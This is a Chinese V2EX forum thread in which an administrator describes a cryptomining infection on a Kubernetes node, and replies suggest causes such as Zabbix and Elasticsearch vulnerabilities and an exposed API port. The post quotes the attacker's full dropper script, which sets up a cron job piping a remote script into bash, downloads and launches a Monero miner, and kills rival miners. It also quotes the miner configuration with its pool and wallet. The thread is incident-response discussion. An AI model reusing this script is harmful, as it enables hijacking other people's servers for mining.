服务器遭遇一个 pubg 的程序入侵

2017-11-07 20:12:06 +08:00
 PyPog

下午突然收到报警,服务器 cpu load 值很高,登录服务器查看,发现被搞了。

top 里边发现一个叫 pubg 的进程一直占用 98%左右的 cpu 使用率,使用 lsof 查看进程打开的文件,找到了程序所在,强制杀掉进程,删除 pubg 文件,发现过一会进程自动启动了,猜测应该是有计划任务。

检查计划任务,发现果然有一条规则,每分钟都会从一个 ip 地址下载一个叫 steam.sh 的脚本并且执行,查找 ip 地址所属地,发现位于台湾。

清理计划任务,杀掉 pubg 进程,发现过一会计划任务和进程有全部恢复了,采用 sysdig 检查所有用户行为,没看到有用户进行奇怪的操作,检查不到是什么操作修改计划任务和恢复了 pubg 进程。

最后,停止 crond 进程,杀掉 pubg 进程,发现 pubg 进程没有再次恢复,暂时解决了问题。

想问一下大伙,有什么其他的办法能检查出这个攻击的根源在那里。

谢谢大伙

steam.sh 内容如下:

#!/bin/sh
/bin/cat /dev/null > /mnt/etc/crontab
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
	pwd
else
	kill -9 `ps -eo pcpu,pid,cmd | sort -k1 -r | awk '{if($1>60)print$2}'`
	ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "jaav"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
	crontab -r || true && \
		echo "* * * * * /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s" >> /tmp/cron || true && \
		crontab /tmp/cron || true && \
		rm -rf /tmp/cron || true && \
		curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
	curl -o /var/tmp/pubg http://35.194.156.203/gcc
	chmod 777 /var/tmp/pubg
	cd /var/tmp
	proc=`grep -c ^processor /proc/cpuinfo`
	cores=$(($proc+1))
	num=$(($cores*3))
	/sbin/sysctl -w vm.nr_hugepages=$num
	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
	pwd
else
	curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
	curl -o /var/tmp/pubg http://35.194.156.203/gcc
	chmod 777 /var/tmp/pubg
	cd /var/tmp
	proc=`grep -c ^processor /proc/cpuinfo`
	cores=$(($proc+1))
	num=$(($cores*3))
	/sbin/sysctl -w vm.nr_hugepages=$num
	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."%

config.json 内容如下:

{
    "algo": "cryptonight",
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "log-file": null,
    "max-cpu-usage": 90,
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "syslog": false,
    "threads": null,
    "pools": [
        {
            "url": "stratum+tcp://get.bi-chi.com:5555",
            "user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
            "pass": "x",
            "keepalive": false,
            "nicehash": false
        }
    ]
}
5494 次点击
所在节点    Linux
24 条回复
crytis
2017-11-07 20:14:28 +08:00
pubg 不是吃鸡么?
app13
2017-11-07 20:17:45 +08:00
这是把挖门罗币的程序伪装成吃鸡么……
huanxianghao
2017-11-07 20:22:27 +08:00
最近挖矿的贼好多,我一台老 window 机器也中招了
orient
2017-11-07 20:34:08 +08:00
23.06 KH/sec 果然群众的力量吗
PyPog
2017-11-07 21:51:38 +08:00
@crytis 是吃鸡,程序的名字就是这个,当时我还楞了一下
PyPog
2017-11-07 21:52:29 +08:00
@app13 请问你是怎么判断这是挖矿程序的
PyPog
2017-11-07 21:52:45 +08:00
@huanxianghao 蛋疼
7654
2017-11-07 21:58:21 +08:00
@PyPog #6 bi-chi 币池
vipper
2017-11-07 21:59:44 +08:00
```
"url": "stratum+tcp://get.bi-chi.com:5555",
"user":
"44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
"pass": "x",
"keepalive": false,
"nicehash": false
```

这里 url 是矿池地址,user 应该是用户的钱包地址
yichinzhu
2017-11-07 22:03:02 +08:00
服务器开了哪些服务?我猜一下可能出现问题的点
PyPog
2017-11-07 22:15:45 +08:00
@yichinzhu 是 kubernetes 集群的工作节点,下午运行了一下 EFK 那一套,然后就被其他同事叫走了,然后过了一会手机就收到报警短信,上边还有 GlusterFS,zabbix 的 agent
PyPog
2017-11-07 22:16:11 +08:00
@7654 👍
PyPog
2017-11-07 22:16:35 +08:00
@vipper 👍没注意到这里
yichinzhu
2017-11-07 22:46:09 +08:00
@PyPog abbix 跟 es 都有可能,查了一下最近的几年的高危漏洞
zabbix 远程代码执行漏洞 CVE-2017-2824 影响版本 2.4.7 - 2.4.8r1
zabbix SQL 注入漏洞 2016 年 影响版本 2.2.x, 3.0.0-3.0.3
zabbix API JSON-RPC 远程代码执行漏洞 2016 年 影响版本 2.2 < 3.0.3
es Groovy 任意命令执行漏洞 cve-2015-1427 影响版本 1.3.0-1.3.7 1.4.x
es snapshot 写 shell 2015 年 影响版本 未知
es 远程代码执行漏洞 CVE-2014-3120 影响版本 1.2 之前
检查一下这两个服务的版本号,是不是很久没更新了,以及是不是没有配置相应的 ACL 策略
PyPog
2017-11-07 23:12:19 +08:00
@yichinzhu 多谢指导

zabbix 我用的是 3.2 的版本,es 的版本好像也挺新的,明天仔细检查一下
ysicing
2017-11-07 23:39:02 +08:00
@PyPog 我也遇到类似的,测试环境,方便测试 k8s api 就暴露在了公网,然后就被挖矿了= =
yichinzhu
2017-11-07 23:41:02 +08:00
@PyPog 我对 kubernetes 不太熟,刚刚查了一下,如果开放 8080 端口的话,也是可以写定时任务导致命令执行的,参考 https://paper.seebug.org/332/
fov6363
2017-11-08 00:02:36 +08:00
Elastic 有可能,前一段时间也是跑了一个 ELK,结果也被刷了,也是挖矿的,入侵的方式就是通过 Elastic 的用户名 /密码 入侵的,希望对你有帮助.
mritd
2017-11-08 09:51:13 +08:00
@PyPog 检查 apiserver 是否公网开放了 8080,kubelet 是否允许特权容器运行
mritd
2017-11-08 09:52:07 +08:00
还有就是检查一下你的镜像是否合法

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/404410

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX